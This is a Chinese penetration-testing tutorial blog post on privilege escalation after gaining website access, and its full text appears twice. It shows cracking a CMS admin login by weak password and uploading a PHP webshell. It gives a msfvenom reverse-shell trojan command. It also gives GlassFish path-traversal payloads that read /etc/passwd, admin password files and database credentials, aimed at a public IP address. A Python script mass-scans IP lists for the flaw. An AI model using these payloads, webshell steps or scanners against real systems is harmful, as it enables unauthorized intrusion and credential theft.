五十八:权限提升-网站权限后台漏洞第三方获取
2022年 10月 02 日

BIGFISH

知识点解释

#当前知识点在渗透流程中的点

前面-中期-后期对应知识关系
#权限提升

此处提权指的不是让网站的普通用户获取到管理员的权限(那属于网站的逻辑漏洞)而是我们已经利用网站的漏洞拿到了一些权限乃至webshell后如何利用网站权限进而获取到数据库、操作系统、服务器等的权限。
#当前知识点权限提升权限介绍

注重理解当前权限对应可操作的事情
#利用成功后的思想需要总结的思路

相关的操作被拒绝无法实现的时候就会涉及到权限提升
#具体有哪些权限需要我们知道和了解掌握的?

后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等

  • 后台权限:(获得方式:爆破,注入猜解,弱口令等获取的帐号密码配合登录)
    • 一般网站或应用后台只能操作应用的界面内容数据图片等信息,无法操作程序的源代码或服务器上
      的资源文件的。(如后台功能存在文件操作的话也可以操作文件数据)
  • 网站权限:(获得方式:以上三种思路获取)
    • 查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),
      还能收集服务器操作系统相关的信息,为后续系统提权做准备。
  • 数据库权限:
    • 操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的
      数据库配置文件读取获得。
  • 接口权限:(邮件,短信,支付,第三方登录等)
    • 后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),
      具体可以操作的事情大家自己想想。

案例演示

  • (一)某挂壁程序后台权限提升-后台功能
  • (二) 某 BC 广告导航页权限提升-漏洞层面
  • (三) 苏丹大西瓜 GlassFish 中间件-第三方
  • 知识点补充:
    • linux下敏感文件
    • [blockquote2 name='签名']/etc/issue 版本信息
      /var/spool/cron/crontabs/root 定时任务
      /etc/passwd
      /root/.bash_history bash环境下的命令执行历史记录
      /root/.pgpass 记录连接postgressql服务器的密码
      /root/.psql_history potgressql客户端的执行的sql语句历史记录[/blockquote2]
    • glassfish下敏感文件
    • [blockquote2 name='签名']domains/domain1/config/domain.xml 各种数据库密码位置
      domains/domain1/config/admin-keyfile 后台密码存储位置[/blockquote2]

(一)站帮主CMS程序后台权限提升-后台功能

  • 1.打开首页
  • 2.后台登录地址 cms/cms/admin ,打开后台
  • 3.进行弱口令破解登录,登录成功

从网站拿到webshell

  • 4.登录成功后,我们进行文件上传,拿到webshll
  • 5.我们找到可以上传文件,图片的地方
  • 6.我们找到一个编辑栏目的地方,我们进去试一下有没有可以上传文件的地方
  • 7.我们发现这个地方有上传图片的地方,我们试一下是否有验证
  • 8.我们发现已经直接上传php文件成功,我们利用菜刀连接一下
  • 9.不知道为什么菜刀一直链接不上,于是换蚁剑连接上了
  • 10.到此时,我们已经拿到webshell,接下来我们进行提权

反弹shell连接

  • 11.接下来我们利用kali的msf制作一个exe类型的反弹型木马
    • msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的ip LPORT=端口 -f 类型 -o 文件名

 

(二) 某 BC 广告导航页权限提升-漏洞层面

(三) 苏丹大西瓜 GlassFish 中间件-第三方

(1)简介

  • *GlassFish* 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。

(2)漏洞类型

  • 任意文件读取:可以利用此漏洞读取到受害机的任意文件glassdish漏洞成因: java语义中会把"%c0%ae"解析为"\uC0AE",最后转义为ASCCII字符的"."(点)

(3)影响版本

  • <=4.1.2版本

(4)漏洞复现

  • 环境搭建:我们这里使用docker中的vulhub漏洞环境
  • 启动镜像:docker-compose up -d
  • 或者,我们可以直接在黑暗引擎中搜索关键词
  • [blockquote2 name='签名']Server: GlassFish Server Open Source Edition 4.1.2
    X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1.2 Java/Oracle Corporation/1.8)[/blockquote2]

(5)漏洞利用演示

  • 1.打开网站
    • 47.107.74.156:8080 --->网站首页
    • 47.107.74.156:4848 --->网站后台
  • 2.利用网上playload
    • [blockquote2 name='签名']linux_poc:
      /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
      window_poc:
      /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini[/blockquote2]
  • 3.访问地址:
    • 47.107.74.156:4848//theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
  • 4.访问结果
  • 5.我们发现读取成功!
  • 6.后台账号密码获取payload,解密参考:GlassFish 目录穿越漏洞测试过程 - 腾讯云开发者社区-腾讯云 (tencent.com)
  • [blockquote2 name='签名']后台密码:192.168.10.129:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/admin-keyfile
    数据库密码:192.168.10.129:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/domain.xml[/blockquote2]
  • 7.playload
  • import requests,time
    requests.packages.urllib3.disable_warnings()
    ​
    win_poc='/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini'
    linux_poc='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    ​
    for ip in open('ip.txt'):
    ip=ip.replace('\n','')
    vul_windows=ip+win_poc
    vul_linux=ip+linux_poc
    try:
    print('check->' + ip)
    win_code = requests.get(vul_windows,verify=False).status_code
    linux_code = requests.get(vul_linux,verify=False).status_code
    ​
    if win_code == 200 or linux_code == 200:
    print(ip + '|有漏洞')
    except Exception as err:
    print('connecting error')

五十八:权限提升-网站权限后台漏洞第三方获取

知识点解释

#当前知识点在渗透流程中的点

前面-中期-后期对应知识关系
#权限提升

此处提权指的不是让网站的普通用户获取到管理员的权限(那属于网站的逻辑漏洞)而是我们已经利用网站的漏洞拿到了一些权限乃至webshell后如何利用网站权限进而获取到数据库、操作系统、服务器等的权限。
#当前知识点权限提升权限介绍

注重理解当前权限对应可操作的事情
#利用成功后的思想需要总结的思路

相关的操作被拒绝无法实现的时候就会涉及到权限提升
#具体有哪些权限需要我们知道和了解掌握的?

后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等

  • 后台权限:(获得方式:爆破,注入猜解,弱口令等获取的帐号密码配合登录)
    • 一般网站或应用后台只能操作应用的界面内容数据图片等信息,无法操作程序的源代码或服务器上
      的资源文件的。(如后台功能存在文件操作的话也可以操作文件数据)
  • 网站权限:(获得方式:以上三种思路获取)
    • 查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),
      还能收集服务器操作系统相关的信息,为后续系统提权做准备。
  • 数据库权限:
    • 操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的
      数据库配置文件读取获得。
  • 接口权限:(邮件,短信,支付,第三方登录等)
    • 后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),
      具体可以操作的事情大家自己想想。

案例演示

  • (一)某挂壁程序后台权限提升-后台功能
  • (二) 某 BC 广告导航页权限提升-漏洞层面
  • (三) 苏丹大西瓜 GlassFish 中间件-第三方
  • 知识点补充:
    • linux下敏感文件
    • [blockquote2 name='签名']/etc/issue 版本信息
      /var/spool/cron/crontabs/root 定时任务
      /etc/passwd
      /root/.bash_history bash环境下的命令执行历史记录
      /root/.pgpass 记录连接postgressql服务器的密码
      /root/.psql_history potgressql客户端的执行的sql语句历史记录[/blockquote2]
    • glassfish下敏感文件
    • [blockquote2 name='签名']domains/domain1/config/domain.xml 各种数据库密码位置
      domains/domain1/config/admin-keyfile 后台密码存储位置[/blockquote2]

(一)站帮主CMS程序后台权限提升-后台功能

  • 1.打开首页
  • 2.后台登录地址 cms/cms/admin ,打开后台
  • 3.进行弱口令破解登录,登录成功

从网站拿到webshell

  • 4.登录成功后,我们进行文件上传,拿到webshll
  • 5.我们找到可以上传文件,图片的地方
  • 6.我们找到一个编辑栏目的地方,我们进去试一下有没有可以上传文件的地方
  • 7.我们发现这个地方有上传图片的地方,我们试一下是否有验证
  • 8.我们发现已经直接上传php文件成功,我们利用菜刀连接一下
  • 9.不知道为什么菜刀一直链接不上,于是换蚁剑连接上了
  • 10.到此时,我们已经拿到webshell,接下来我们进行提权

反弹shell连接

  • 11.接下来我们利用kali的msf制作一个exe类型的反弹型木马
    • msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的ip LPORT=端口 -f 类型 -o 文件名

 

(二) 某 BC 广告导航页权限提升-漏洞层面

(三) 苏丹大西瓜 GlassFish 中间件-第三方

(1)简介

  • *GlassFish* 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。

(2)漏洞类型

  • 任意文件读取:可以利用此漏洞读取到受害机的任意文件glassdish漏洞成因: java语义中会把"%c0%ae"解析为"\uC0AE",最后转义为ASCCII字符的"."(点)

(3)影响版本

  • <=4.1.2版本

(4)漏洞复现

  • 环境搭建:我们这里使用docker中的vulhub漏洞环境
  • 启动镜像:docker-compose up -d
  • 或者,我们可以直接在黑暗引擎中搜索关键词
  • [blockquote2 name='签名']Server: GlassFish Server Open Source Edition 4.1.2
    X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1.2 Java/Oracle Corporation/1.8)[/blockquote2]

(5)漏洞利用演示

  • 1.打开网站
    • 47.107.74.156:8080 --->网站首页
    • 47.107.74.156:4848 --->网站后台
  • 2.利用网上playload
    • [blockquote2 name='签名']linux_poc:
      /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
      window_poc:
      /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini[/blockquote2]
  • 3.访问地址:
    • 47.107.74.156:4848//theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
  • 4.访问结果
  • 5.我们发现读取成功!
  • 6.后台账号密码获取payload,解密参考:GlassFish 目录穿越漏洞测试过程 - 腾讯云开发者社区-腾讯云 (tencent.com)
  • [blockquote2 name='签名']后台密码:192.168.10.129:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/admin-keyfile
    数据库密码:192.168.10.129:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/domain.xml[/blockquote2]
  • 7.playload
  • import requests,time
    requests.packages.urllib3.disable_warnings()
    ​
    win_poc='/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini'
    linux_poc='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    ​
    for ip in open('ip.txt'):
    ip=ip.replace('\n','')
    vul_windows=ip+win_poc
    vul_linux=ip+linux_poc
    try:
    print('check->' + ip)
    win_code = requests.get(vul_windows,verify=False).status_code
    linux_code = requests.get(vul_linux,verify=False).status_code
    ​
    if win_code == 200 or linux_code == 200:
    print(ip + '|有漏洞')
    except Exception as err:
    print('connecting error')

赞 (0)

猜您想看

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论